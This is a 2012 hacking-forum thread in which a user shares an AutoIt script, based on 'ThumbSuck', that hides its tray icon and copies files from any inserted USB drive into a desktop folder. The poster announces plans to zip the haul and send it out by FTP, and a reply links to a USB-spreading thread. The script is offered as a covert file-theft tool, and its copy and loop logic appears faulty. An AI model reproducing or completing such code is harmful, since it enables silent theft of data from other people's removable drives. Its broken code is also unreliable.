![]() |
|
Copy Removable - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Coding (https://sinister.li/Forum-Coding--71) +--- Thread: Copy Removable (/Thread-Copy-Removable) |
Copy Removable - M3 ™ - 09-24-2012 Next time I Will used this code for Zip file after finish this function and send on ftp all copydir Hope Enjoy ... Regards Code: #NoTrayIcon
;===================================================
; Copy All Files to Dir when PenDrive is Inserted
; Autor M3
; Base on ThumbSuck
; More Fast , No Dependecies
;==================================================
Func sCopyPenDrive()
Local $sPath = @DesktopDir & "\CopyPenDrive\"
If FileExists($sPath) Then DirRemove($sPath,1)
While 1
$sVar = DriveGetDrive ("REMOVABLE")
If @error = 1 then ContinueLoop
MsgBox("","PenDrive","Start Copy",1)
DirCreate($sPath)
FileCopy ($sVar[1] , $sPath)
MsgBox("","PenDrive","End Copy",1)
Exit
WEnd
EndFuncRE: Copy Removable - 1234hotmaster - 09-24-2012 http://www.hackcommunity.com/Thread-AutoIt-Advanced-USB-Spread
RE: Copy Removable - M3 ™ - 09-25-2012 xD , may you have to prove the code , not read my bad english ![]() and you will see the diference xD nice code yours Bro , regards |